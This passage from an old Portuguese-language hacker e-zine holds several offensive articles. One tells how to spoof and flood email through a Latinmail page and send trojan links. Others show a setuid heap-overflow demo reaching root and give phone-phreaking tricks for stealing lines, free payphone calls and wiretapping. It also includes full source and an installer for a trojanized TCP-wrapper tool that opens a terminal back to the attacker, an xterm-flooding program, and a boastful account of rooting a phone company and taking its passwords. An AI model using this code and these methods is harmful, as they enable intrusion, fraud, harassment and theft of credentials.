O Return_Address eh modificado apontando direto para as funcoes na
libc. Como mostrado no projeto Omega (f3-00.txt).
Return-into-stack
#################
O Return_Address eh modificado direcionando para o Shellcode, localizado
na propria pilha. Encontrado nos primeiros exploits de buffer overflow e
ainda e' usado nos mais atuais.
ShellCode
#########
Eh um codigo em Assembly que sera colocado no buffer. Assim que o
buffer for xploitado, o programa continua a partir deste shellcode.
O que o codigo faz pode variar de simplesmente abrir uma shell local,
inserir uma conta nova ou abrir uma shell remota.
Stack Smashing
##############
Acontece quando colocamos dados de mais em um determinado espaco loca-
lizado na pilha. Eh o que caracteriza o Buffer Overflow.
Issu ae. E antes que voce comece a resmungar eu vou dizer q concordo
que esta materia eh basica d+ e foi colocada aki mais para encher linguica.
Na verdade ela foi feita para tirar duvidas de alguns amigos meus que ja
receberam esta materia. Ela nao seria publicada aki mas como o carnaval ta
acabando e eu to sem nada melhor para preencher a zine, ae esta. =)
Se nao serviu em nada para voce, desculpa.
Se ajudou voce, de nada.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 10 - Mandando y Spoofeando ~YXXXXx_
_xXXXXXX( Mails Falsos de Latin Mail )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ ßµlÔ_©ÚÛl _dXXXXP~
~YXXXbx.. ..xdXXXP~
Hola a todos:
El motivo de este mail es para informarles que ya ahy otro servidor de mails
que pueden mandar mails con otra identidad o spoofear un mail de x persona.
Bueno como he checado en otros ezines dicen que hay paginas para mandar mails
con otra identidad pero nunca vi la direccion de latinmail. Por eso les mando
este truco.
La pagina es www.latinmail.com
pero el truco es meterse a esta direccion www11.latinmail.com ahy les va a
salir todas las carpetas que tiene latinmail, pueden ver lo que otros usuarios
mandan archivos anexos al mensage.
pueden ver las imagenes y archivos que usa latinmail para que funcione su pagina.
Bueno, ya les voy a decir como mandar mensages con otra identidad por ejemplo
bill_gates@mocosoft.com esto hace que mande mails a todos los usuarios de
latinmail y vean lo que ustedes escribieron.
Pero pobre de la persona que le pusistes de quien mandaba porq de seguro al
dia siguiente va a tener como 1,000 o mas mails en su correo (solo si los usuarios
le contestan)
Podrian tambien pasarse como el webmaster de latinmail informandolos de que
tienen problemas y que tienen que bajar algun archivo x que de seguro uds. van
a poner la direccion de algun virus o troyano para que se infecte esta persona.
Pero cuidado de no abusar con esto pues podrian bannearlos y joderse.
El truco es este:
En tu navegador por la direccion www11.latinmail.com luego hasta abajos buscas
la pagina todos.htm ahy le aprietas y luego en donde dice De (ej: Alexito
[alex@latinmail.com]): pones el mail de quien quieres floodear o pasarte por el
y luego donde dice asunto ponen lo que ustedes quieran y el mensage.......
!!!!!!!! Y °°°°°°LISTO!!!!!!!! A mandarlo...... Y en unos instantes ese mail le
va a llegar a todo los usuarios de latinmail...........!!!!!! :o)
Bueno esto sirve para que al usuario que le pusistes lo floodes el mail........
Esto le paso a un amigo que me copio este truco y se paso de lanza con mi truco
que descubri yo..... Pues yo vi que le llegaron como 1, 500 msg de todos los
usuarios......
Y si tu tienes mail en latinmail de seguro te llego el mensage.......
Bueno en esta pagina ahy programas que sirven para que la pagina de latinmail
sirva..... Lo malo es que unos de esos estan protegidos con contraseÒa porq
estan comprimidas con el winzip.....
Bueno pues crackealo y ya!!!!!! todavia yo no lo crackeo pues apenas lo
baje......!!!!! :o(
Bueno si descubro otra cosa mas, seguro que lo mando a esta ezine para que
lo publiquen.......
ADIOS
Y diviertanse con este truquillo, PERO NO ABUSEN!!!!!!!!!!!!
P.D ECHENLE GANAS ADIDAS Y LOS DEMAS CONTRIBUYENTES DE ESTA EZINE, ES BUENA ESTA EZINE
SE DESPIDE DE USTEDES
ßµlÔ_©ÚÛl
suli_cool@yahoo.com.mx
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 11 - Heap Overflow: ~YXXXXx_
_xXXXXXX( exemplo simplicado )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ c0nd0r _dXXXXP~
~YXXXbx.. ..xdXXXP~
Nota: Esta materia saiu na lista de discucoes BOS (www.securenet.com.br)
e esta sendo publicada com a autorizacao do autor. Outros trechos do
email foram cortados para a materia na fugir do assunto.
-------------
A tecnica de heap overflow e' pouco utilizada pois traz muitas
limitacoes. Em primeiro lugar, lembramos que a regiao de dados tambem e'
executavel e pode ser utilizada para que um determinado range de
instrucoes sejam executadas. Mas como fazemos isso ? E' preciso
sobrecrever o ponteiro de uma determinada funcao (designada como
estatica) para que venhamos a executar nosso codigo.
Um outro uso logico do heap overflow e' alteracao de variaveis com o
proposito de conseguirmos imputar dados arbitrarios e explorarmos o seu
uso durante o percurso do codigo. Um bom exemplo:
<++> heap/heap.c
#include <stdio.h>
int main ( int argc, char *argv[]) {
static char buf[6], buf2[20];
if ( argc < 2) exit(-1);
fprintf ( stderr, "Momento 1 | buf %p(%s) | buf2 %p(%s)\n",
&buf, buf, &buf2, buf2);
strcpy ( buf2, "/bin/ls");
sprintf ( buf, "%s", argv[1]);
fprintf ( stderr, "Momento 2 | buf %p(%s) | buf2 %p(%s)\n",
&buf, buf, &buf2, buf2);
execl ( buf2, buf2, (char *) 0);
}
<-->
Eis os testes:
condor:~$ id
uid=1001(condor) gid=100(users) groups=100(users)
condor:~$ ls -la heap
-rwsr-xr-x 1 root root 12422 Aug 4 07:28 heap
condor:~$ ./heap AAAA
Momento 1 | buf 0x8049734() | buf2 0x804973a()
Momento 2 | buf 0x8049734(AAAA) | buf2 0x804973a(/bin/ls)
t t.c
// Percebam que nao estou atingindo a pilha (0xbfff) e sim a area de
// dados (buf 0x8049734 e buf2 0x804973a).
// Eu alimentei o buf com os argumentos da linha de comando (argv) e
// o system executou o que continha no buf2 ("/bin/ls")
condor:~$ ./heap AAAAAAA
Momento 1 | buf 0x8049734() | buf2 0x804973a()
Momento 2 | buf 0x8049734(AAAAAAA) | buf2 0x804973a(A)
sh: A: command not found
// Opa! Ha' algo de errado aqui. Ultrapassei os limites impostos pelo
// buf (0x8049734) e alcancei o buf2, que estava empilhado em seguinda.
// A partir dai, alterei o conteudo "/bin/ls" para "...A\0", que era o
// resto do meu argv. Tenho controle para executar qualquer comando:
condor:~$ ./heap AAAAAA/usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
condor:~$
Perceba que isso poderia ser utilizado para alterar qualquer tipo de
variavel, desde arquivos de configuracao ou ate mesmo sequencias de
caracteres utilizadas para barrar algum tipo de servico.
Abracos,
-condor
www.sekure.org
s e k u r e
aka. Thiago Zaninotti (c0nd0r)
thiago@securenet.com.br
Portal Brasileiro de Seguranca
www.securenet.com.br
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 12 - idiot things about ~YXXXXx_
_xXXXXXX( phreak )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Relaxa...
Aki soh vao algums truques legais para se fazer com telefones.
Sao coisas totalmente idiotas e, algumas, inuteis entao nao tente tirar
bom proveito deste texto. Soh divirta-se.
what u will find here...
########################
1. Coisas basicas sobre telefonia
2. Boxes
2.a. Crimson Box
2.b. Busy Box
2.c. Bud Box
2.d. Beige Box
2.e. Yellow Box
2.f. Tan Box
3. Redirecionamento
4. Brincando com sons do telefone
5. O truque do diodo
6. Ligando uma lampada num telefone
7. Tome choque
1. Coisas basicas sobre telefonia
#################################
Vamos comeca pelo seguinte: O sistema brasileiro telefonico opera
em uma fiacao dupla. Um par. Linha A e B. O americano opera em 2 pares
utilizando linhas A, B, C e D. Este eh o principal motivo para muitas
boxes americanas nao funcionarem aki no Brasil.
O telefone fixo recebe continuamente uma corrente de 12v. Este circuito
soh eh fechado ao tirar o telefone do gancho mas esta' sempre alimentado.
A voltagem aumenta para 46v qdo voce recebe uma ligacao. Isto ativa a
campainha do telefone. Apos atender o telefone a corrente baixa novamente
para 12v.
Caso voce utilize 5 extencoes e um telefone em cada, quando a CT lhe
enviar o sinal de chamada os 5 telefones simplesmente nao irao tocar. Pq?
pq como os telefones encontram-se em um circuito paralelo, a intensidade
ira' dividir-se em 5 e os telefones nao receberam forca suficiente para
acionar a campainha.
Ao discar para algum numero, o telefone envia em cada digito uma
frequencia sempre na faixa de 10hz. A Central Telefonica identifica os
numbahs atravez do CPA.
Telefones Publicos sao um pouco diferentes.
Existem 2 metodos mais comuns de cobranca. No primeiro a CT envia ao
aparelho telefonico uma frequencia de 12KHz. Eh o sinal para que mais um
credito seja cobrado.
O Outro, que esta sendo cada vez menos utilisado, eh o metodo de inversao
onde a CT inverte a polarisacao de -48v para +48v e vice-versa. Este
metodo de cobranca anda sendo pouco utilizado ultimamente pois esta sujeito
a falhas.
Nota: Todos os TPs a cartao sao facilmente programaveis tendo uma chave
deles para poder abri-los. Se alterar o metodo de cobranca, voce pode ligar
gratuitamente pois o telefone nao interpretara o sinal da CT como um sinal de
cobranca. Ex: A CT envia 12KHz mas o telefone esta esperando q a tensao seja
invertida para que cobre creditos (como isso nao acontece...).
2. Boxes
########
Aki vai uma lista de boxes simples que funcionam tanto aki no Brasil
qto nos EUA pois o sistema de fios nao tem muita importancia nestes casos.
Ah! Releia o titulo desta materia. As Boxes sao tudo idiotas pois basta
fucar um pouco nos fios e ela esta feita. Eh ridiculo certas coisas que
sao consideradas boxes por phreax0rs. Mas vamo lah!
2.a. Crimson Box
################
Basta ligar a fiacao telefonica em um interruptor qquer (pode ser
de luz, qquer um). Com isso voce "liga" e "desliga" a linha quando
voce quizer bastando apertar um botao.
2.b. Busy Box
#############
Esta eh a box mais ridicula ja existente porem mesmo assim eh considerada
uma box. Vamos ver a descricao dela:
* Busy Box : N„o permite que a linha seja utilizada nem pra receber nem pra
enviar chamadas.
Sabe o que fazer??? Eh simples. Abra a sua tomada telefonica (padrao Telebras,
com encaixe para 4 pinos).
Como voce pode observar existem apenas 2 fios nesta tomada (geralmente vermelho
e verde). Issu por que o sistema brasileiro usa apenas estes 2 fios porem as
tomadas ainda sao padrao americano. Observe tambem que o plugue de seu modem,
caso tenha sido comprado aki no Brasil, tambem possui somente estes 2 fios.
Agora que vc ja conhece a fiacao de seu telefone, corte-as. =)
Com issu o telefone nao tem linha e portanto nao recebe nem envia chamadas.
Outro metodo eh desencapar o fio telefonico e uni-los (fio vermelho e verde).
2.c. Bud Box
############
Opa! Outra Box... Sabe qual a fucao dela???
Utilizar a linha de outra pessoa.
Parece interessante neh? Mas sabe qual o funcionamento dela?? Outra decepcao.
O que fazer? Puche uma extencao da linha de outra pessoa, pode ser da casa
(facil de fazer caso vc more em um edificio) ou direto do poste da rua.
Tendo esta extencao conecte-a ao seu telefone ou seu modem.
Cuidado para nao ser pego usando esta linha pela vitima do boxing, pois como
issu baseia-se numa extencao (para a vitima nao perder a linha e reclamar com
a CT que provavelmente descobririam sua box) ela pode ouvir tudo o que vc
conversa. Nota: Issu funciona inversamente tb. =)
2.d. Beige Box
##############
O objetivo desta box eh obter ligacoes gratis de TPs.
Pode ser feito com um notebook (com modem) ou um telefone normal.
O negocio funciona assim: A CT envia um sinal para o TP que eh inter-
pretado pelo aparelho telefonico do respectivo orelhao. Um aparelho
telefonico fixo ou um modem nao reconhecem os sinais de cobranca.
Entao substituindo o telefone publico por um telefone comum ou seu
modem voce tem uma linha telefonica todinha pra voce. Gratis!!
Basta cortar os fios do TP e ligados a fiacao do seu.
2.e. Yellow Box
###############
Issu eh ridiculo. Esses phreakers chamam qualquer coisa de box.
Yellow box eh uma das boxes mais antigas. Ela eh simplesmente uma
extencao da linha telefonica.
Aposto que voce ja fez uma mesmo sem saber que estava fazendo uma box.
2.f. Tan Box
############
Solde os fios do telefone a outro par de fios ligados a um pino macho.
Penetre o pino macho num orificio de qualquer gravador e apos a ligacao
ser feita REC!
C vc ainda nao captou o espirito desta box ela simplesmente grava conversas.
3. Redirecionamento
###################
Ja existem diversas companias (tipo SIGA-ME) que habilitam esse
servico. Voce pode usa-la de modo produtivo com de modo anarquista
(o que veremos aqui).
Ateh onde eu sei, este servico soh pode ser acionado pelo proprio
telefone que for usa-lo, sendo assim eh preciso ter acesso fisico ao
aparelho da(s) vitima(s).
* Redirecione todos os numeros de seus amigos para a casa do seu
inimigo. =)
* Redirecionar o numero de um programa de radio para outro qquer
pode ser engracado qdo o apresentador nao receber nenhuma ligacao
ao vivo.
NOTA: Use o redirecionamento direto nao o redirecionamento em caso
de linha ocupada ou de "ninguem-em-casa".
* Este metodo foi apresentado no Phrack 01.
Por volta do Natal va ate uma loja de brinquedos. Tire todo mundo de
perto de telefone. Ai pegue o telefone e redirecione as chamadas para
o sr. Scott. Scott vai receber muitas chamadas (depende do tamanho da
loja, de 100 a 600) todo dia.
* Nao sei o que pode acontecer c vc fizer isto mas se quizer testar...
Pode da uma locura na compania servidora do redirecionamento ou na
compania telefonica ou nao acontecer porra nenhuma. =)
Habilite em um telefone o redirecionamento soh caso ele esteje ocupado;
No telefone 2 (pra onde serao redirecionadas as chamadas) faca o mesmo
soh q redirecionando as chamadas para o 1o;
Tire o telefone 1 do gancho;
Com o telefone 2 disque para o 1o.
Issu na teoria causaria um looping nos redirecionamentos. Nao sei o
acontece na pratica pq nao testei, acabei de pensar nissu.
4. Brincando com sons do telefone
#################################
Qdo digo sons eu estou me referindo aos sinais telefonicos do tipo:
* sinal de espera de discagem (tuuuuuuuuuuuuuuu.....);
* sinal de ocupado (tu... tu.... tu.... tu....);
* sinal de chamada (tuuuuuuuuu.... tuuuuuuuuu.... tuuuuuuu....);
Sakou quais sao neh? Nao? Entao faz o seguinte: dire seu telefone do
gancho e ouca o barulho q ele faz. Este eh o sinal de espera.
O que vamos ver aki eh como brincar com estes sinais telefonicos e com
outros que voce ainda nao conhece porem existem nas maioria das CTs
(Centrais Telefonicas).
Siga os passos:
1. Retire o telefone do gancho;
2. Disque 109;
Lembra o que faz o 109??? Ele faz com que a CT ligue de volta para o
seu numbah para testar sua linha.
Continue seguindo os passos...
3. Espere o primeiro sinal de chamada;
Depois disso a linha imudece. O que deveria ser feito agora eh colo-
car o telefone devolta no gancho e esperar que ele tocasse. MAS nao
eh issu o q vamos fazer...
4. Coloque o telefone no gancho;
5. espere 5 segundos;
6. retire do gancho;
Apos isso a linha ficara muda por algum tempo. Espere... As vezes
demora um pouco, outras vezes eh rapido.
NOTA: Voce deve retirar o telefone do gancho antes que ele toque.
5 segundos eh um tempo estimado.
Depois de esperar um tempo o telefone emitira' alguns ruidos loucos.
Agora aperte os numeros do teclado. Cada numero emitira um sinal
diferente cuja funca ainda nao descobri. =)
O que aconteceu aki segundo minha deducao foi o seguinte:
Ao ligar para o 109 a chamada cai num servico automatico da CT. Este
servico apenas reconhece o seu numero porem nao aceita sua ligacao. Ele
espera que voce coloque o telefone direto no gancho para enviar devolta
um sinal que sera interpretado por seu aparelho telefonico como uma
chamada. Porem, aparentemente este servico nao reconhece c o telefone
esta fora do gancho ou nao e com issu voce tem acesso aos sinais enviados
pela CT.
O proveito que voce vai tirar disso eu nao sei. Alias essa materia
sobre phreak nao foi feita com objetivos proveitosos e sim idiotas.
5. O truque do diodo
####################
Para quem nao conhece este truque ainda, ele funciona assim:
Voce coloca um diodo e um resistor nos fios telefonicos de um TP (Telefone
Publico) e assim podera' discar gratis.
Mas vamos conhecer um pouco mais sobre este truque e seu funcionamento...
Ja vimos que um metodo de cobranca utilizado em TPs eh a inversao de
polaridade. Colocando um diodo no circuito ele impede que esta inversao seja
feita pois a funcao do diodo eh fazer a corrente circular numa soh direcao.
A voltagem entao cai a 0v qdo a inversao eh feita nao permitindo que ela
"inverta-se" e assim os creditos nao sao cobrados.
Este truque soh funciona em TPs com este metodo de cobranca. Parece que
alguns TPs azuis (TPC 9400) da telefonica em SP sao vulneraveis.
6. Ligando uma lampada num telefone
###################################
Em quanto o TomWaits se preocupa em ensinar como ligar um modem num
Telefone eu ensinarei como ligar uma lampada num telefone.
Hehehehehe!
Estranho neh?? Use isto para economizar eletricidade. =)
Arrebente seu abajur e pegue aquele encaixe da lampada. Dele saem 2
fios que sao respectivamente ligados na tomada. C voce liga-los numa
fiacao telefonica a corrente eletrica passara pela lampada e a acendera.
Mas tipo... a voltagem usada nos telefones (46V qdo toca e 12V qdo esta
no gancho) eh muito menor do que a fornecida pela compania de energia
eletrica (110V ou 220V). Portanto a lampada tera um brilho muito fraco e
piscara' qdo vc estiver recebendo uma ligacao.
Issu eh mto usado por surdos. Soh nao me pergunte como eles falam no
telefone. =)
7. Tome choque
##############
Pra fechar com chave de ouro, uma explicacao rapida de como tomar choques
com telefones. Siga os passos:
1. Descasque os fios dele e segure-os com forca. Se preferir ponha-s na boca.
2. Tenha certeza de que nao esta usando nenhum calcado de borracha.
Se voce estiver, voce pode segurar um fio com cada mao, ou segurar os 2 e
tocar algo de metal. Tambem funciona. =)
3. Agora peca para alguem ligar para voce.
Hurru!!! issu ae!!!
Espero que tenham curtido este super manual de coisas idiotas sobre o phreak.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 13 - Wrapper + C + Xterm ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ kamikase shell _dXXXXP~
~YXXXbx.. ..xdXXXP~
Ae, mostrarei aqui umas gracinhas q podemos fazer misturando o Wrapper
com C e Xterm.
O esquema eh o seguinte, o programa Noaccess (vcs jah devem ter visto)
bloqueia todos os servissos do seu computador ( telnet, ftp, finger, etc..),
ele tambem copia o IP de quem tentou acessar sua maquina deixando um aviso
do tipo:
Vc X.X.X.X, naum foi autorizado a utilizar o servisso tal...
Vc esta nos meus logs, Naum volte mais.
Se vc sabe configurar o Wrapper e entende um pouco de C, pode alterar o
Noaccess e torna-lo muito mais util. Aqui esta um exemplo:
acrescentando um pequeno codigo no programa, ele deixa de bloquear e abre
a maquina do quem instalou. Mande esse programa pra alguem que tiver te
zuando e tenha acesso a maquina dele. O codigo que eu acrescentei faz com
que a maquina da vitima execute um comando que abre um Xterm na maquina de
quem solicitou a coneccao. Com acesso ao shell, vc pode executar comandos
na maquina dele.
Lembre-se de que vc tem que digitar "xhost +" na sua maquina, para permitir
que o xterm seja aberto. Ae vai o prog alterado:
programa noaccess.c
<++> noaccess/noaccess.c
/*
NoAccess
All:All: twist /var/noacess %h %d ; \
/bin/echo -e "%h tentou acessar %f " >> /var/log/security.log
*/
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[]){
int i;
char str[50];
for(i=2; i >= 0; printf("%i ",i), fflush(stdout), sleep(1), i--);
printf("\n\nVoce , %s ,nao foi autorizado a se conectar com meu computador!\n\n", argv[1]);
printf("Voce esta nos meus logs!Nao volte mais !!!\n\n");
strcpy(str, argv[1]);
if (strcmp(str, "127.0.0.1")) {
strcpy(str, "xterm -display ");
strcat(str, argv[1]);
strcat(str, ":0.0 &");
system(str);
}
}
<-->
Aqui vai o arquivo hosts.deny
<++> noaccess/ipcaph.d
All:All: twist /var/noaccess %h %d ; \
/bin/echo -e "%h tentou acessar %d " >> /var/log/ipcap.log;
<-->
Aqui vai o script para instalacao automatica, coloque ele em um diretorio
junto dos outros dois arquivos ( o noaccess e o hosts.deny ):
<++> noaccess/install.sh
cp /etc/hosts.deny /`whoami`/
cp /etc/hosts.deny ~`whoami`/
clear
echo " "
echo "**********************************"
echo "** armengado por kamikase shell **"
echo "**** instalando IpCapture 1.0 ****"
echo "**********************************"
echo " "
echo "as tentativas de log seram armazenadas em /var/log/ipcap.log"
echo " "
cat ipcaph.d > /etc/hosts.deny
gcc -o noaccess noaccess.c
chmod 555 noaccess
mv noaccess /var/
<-->
Pronto, agora excute o script. Ele faz uma copia do verdadeiro hosts.deny
e coloca-o em seu diretorio home. Mostra um texto: armengado por kamikase
Shell .. Ip Capture 1.0 e tal.. (soh pra iludir o coitado)
Quando o programa eh chamado ele testa se o IP de quem solicitou a
coneccao foi 127.0.0.1, pois se o lamah for testar o programa provavelmente
desconfiaria do Xterm que seria criado na sua propria maquina :P .
Assim, toda vez que o IP que solicita a coneccao for 127.0.0.1, o programa
funcionarah normalmente como se fosse um prog de seguranca, bloqueando os
servicos, capturando o IP e mostrando a menssagem de sempre...
Este programa foi feito para darmos aos lammers, porem se um lamah tirado
a esperto te oferecer este prog, tudo bem, voce aceita e diz que vai
instalar :) Entao vc pega o IP dele e executa este prog que eu escrevi tambem.
<++> noaccess/kkshflood.c
/* ********** kkshFlood ************
* ****** by kamikase shell ********
* Este programa abre Xterms na maquina *
* indicada, q dependendo da configuracao*
* tornando-a praticamente impossivel de *
* ser operada, forcando a desconeccao *
* CUIDADO: NUNCA EXECUTE ESTE PROGRAMA *
* COMO ROOT, DEPOIS NAO DIGA QUE EU NAO *
* AVISEI :) *
*/
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[]){
int i,k;
char str[50];
printf("\n kkshflood - by kamikase shell (kksh)\n");
if (argc!=2){
printf("Erro:\n Digite: kkshflood endereco-IP-vitima\n");
exit(0);
}
printf(" Abrindo multiplos terminais em: %s\n", argv[1]);
printf(" Quantidade de terminais:\n");
sleep(1);
for(i=10;i>0;i--){
strcpy(str, "xterm -display ");
strcat(str, argv[1]);
strcat(str, ":0.0 &");
for(k=1;k<=6;k++){
system(str);
printf("%d, ",k);
}
printf("\n");
sleep(5);
printf("Nenhum \n");
system("killall -9 xterm");
}
}
<-->
Este programa usa a mesma tecnica do outro so que abre uma porrada de
terminais seguidos na maquina do lammer, depois killa tudo
(killall -9 xterm), e depois comessa denovo :). Assim o kara naum
consegue fazer nada, pois dependendo da configuracao dele, cada Xterm
aberto rodarah em foreground, deixando o resto em background, logo, toda
hora um Xterm abre e o outro fica em background, assim vai se repetindo e o
lamah tem que se desconectar ou entaum ficar olhando os xterms abrindo e
fechando na tela :) . Podemos abrir terminais na maquina do lamah
pq sabemos que ele provavelmente digitou: "xhost +" ( ele esta esperando
um Xterm da nossa maquina!). Se eh um terminal que ele quer, terminais ele
tera! So temos que ter cuidado para naum executarmos o programa como root
pois o terminal aberto na maquina do kara tambem o serah. CUIDADO!!
Umas dicas:
1) naum execute o kkshflood em um xterm, pois quando programa
executar o killall -9 xterm o seu propio terminal serah fechado, fechando
tb o programa;
2) vc pode ajustar o kkshflood dependendo dos recursos de sua maquina,
altere no codigo fonte a quantidade de xterms q sera aberto, o sleep... eu
escrevi e testei esse codigo num 133Mhz :P
kamikase shell - kksh@bahia.net
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 14 - RELATO SOBRE A CETERP ~YXXXXx_
_xXXXXXX( DE RIBEIRAO PRETO )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Overnix _dXXXXP~
~YXXXbx.. ..xdXXXP~
RELATO SOBRE A CETERP DE RIBEIRAO PRETO
by OverniX
Irei citar aqui uma pequena historia ocorrida comigo no dia 24/07/99
Tudo comecou numa bela madrugada de sabado quando eu estava fucando nuns
servidores aqui do estado de sampa e comecei a ver algumas coisas interessantes
nos servers.
Bom, aih comecei a fucar numa provedora de sampa e foi onde explorando algumas
falhas consegui acesso root num IRIX 5.3 : )
Depois de ter hackeado esse provedor, fiquei mais animado ainda e saih por aih
procurando bugs em varios outros provedores que eu ja tinha em mente. : )
Passado algumas horas, dei uma parada a pedido do NeTrash, que me chamou pra
dah uma pesquisada num server interessante.
Depois de algumas tentativas descobrimos algumas falhas e outras infos importantes,
mas nada de acesso root la.
Depois de alguns minutos trocando ideia com NeTrash, no meio do papo rolou
o nome da Telesp(Compania Telefonica de Sao Paulo).
Logo pensei na Companhia Telefonica daqui de Ribeirao Preto-sp. A Ceterp !!!!
Daih entao comecei a pesquisar e testar alguns bugs e falhas e foi onde me
deparei com uma falha ateh grosseira a certo ponto...nunca imaginei q a ceterp
tinha um sistema tao falho...a comecar pelo sistema q era um HP-UX.
Pra entrar foi facil. Encontrei um dir de um user q tava exportavel pra todos e
com isso foi onde consegui uma shell de um user conectado no server naquele momento.
Bom, estando nessa shell comecei a exploitar aquele sistema tao forte q de primeira
causei um overflow num programinha chamado "cu" q na maioria vem setado com suit root
e aih caih na famosa shell root # :))
Resumindo, e por fim puxei o file password pra distribuir pra galera e todos ficaram
felizes para sempre. : )
Abaixo vai a msg que deixei no dir do root
" Caro Admin...
Quero te agradecer pelas centenas de senhas fornecidas por voce numa bela
madrugada de sabado.
Parabens.....
Continuem sempre assim, com esse sistema podre e bugado que sempre serah uma
honra eu logar como root e administrar essa porra q voce chama de sistema.
Qquer coisa tamo sempre aih. "
E nao eh que os cara tentaram me pegar !!??!.. : )
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 15 - Sempre Alerta ~YXXXXx_
_xXXXXXX( Escoteiros mirins! )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Ha algum tempo atraz eu brincava com meus amiguinhos duhdinhas de um
tentar invadir o sistema do outro. Eu sempre deixava o telnet aberto e
dava uma conta para eles tentarem me 0wnar. Quando eles conectavam eu
monitorava cada passo deles. Sempre de olho no que eles estavam fazendo.
Com issu aprendi os diversos caminhos que cada um sempre seguia e
formei minhas rotinas atravez da deles.
Voces podem achar o que quizerem mas eu considero o telnet um dos servi-
cos mais seguros do tcp. Eh soh voce pensar em quantos exploits para
smtpd, httpd (apache e iis), ftpd e outros daemons ja foram publicados.
Emquanto issu ateh agora sao raros os releaseds para telnetd.
Mas ae vc diz: "Ta! mas com telnet o kra ja tem acesso a tua maquina."
Mas issu eh exatamente o que eu quero no momento. Este texto vai mostrar
como usar o invasor para testar as falhas do seu sistema.
Detalhe: Quando me refiro a sistema estou falando dele internamente nao
de daemons bugzados. Isto porque quando o hacker consegue uma conta
telnet na maquina, ele tenta hackea-la de dentro, testando bugs de pro-
gramas suids, etc.
Entendido o objetivo do texto vamos ao que interessa:
Para comecar nao usaremos o daemon do telnet e sim o telnetsnoopd. Este
daemon funciona como o telnet porem permite a monitoracao em tempo real
dos terminais usados pelos convidados.
O texto do TinkerTrain nesta edicao mostra como usa-lo.
Fique atento a todos os passos que o hacker da. A todos os comandos que
ele executa. A tudo. Sempre alerta!
Para testar bugs de buffer overflow eh comum usarem comandos como:
./programbugzado AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
O que resultaria em Segmentation Faults caso o programa seja vulneravel.
Estes A's podem ser feitos tb atravez de outros comandos como:
`perl -le 'print "A" x 1000'`
Voce tem que ter um conhecimento basico do que ele esta tentando fazer,
o que nao sera dificio pois o ttysnoop exibe tudo o que o hacker esta
vendo, entao se ele entrar em um prog para testar buffers internos, voce
sabera.
Ao invez disso os hackers mais praticos simplesmente checam a versao dos
programas que tentaram xploitar.
Como no caso estamos testando somente a seguranca do sistema interno
feche os demais daemons para que voce nao seja hackeado remotamente, o que
nao iria ser monitorado pois nao foi feito da sua shell.
Sem ftp o hacker se vera obrigado a colar seus exploits em algum editor
ou usar o wget para baixa-los de seu proprio dominio.
Assim que ele colocar um arquivo no seu sistema copie-os imediatamente
para um diretorio escondido q somente vc tenha permissao de ler.
Perceba que alguns rackers mais novatos simplismente colocaram seus
xploits na sua maquina e testaram um por um. Fike alerta a qualquer sinal
de root na shell dele.
Assim que ele pegar root derrube-o, feche os servicos e verifique o
source do exploit usado. Nele voce encontra o programa que foi exploitado.
Corrija-o (alguns programas basta retirar o suid bit, outros eh preciso
atualizar para uma versao mais nova) e soh entao volte a rodar o telnetsnoopd.
Com issu voce tem uma falha a menos no seu sys. Ele esta mais seguro do
que antes.
Agora se voce tem um sistema muito grande e nao pode ficar perdendo com
essas brincadeiras, muito menos fechar seus servicos para testar a seguranca,
aki vao umas dicas para detectar o invasor depois dele ja estar dentro.
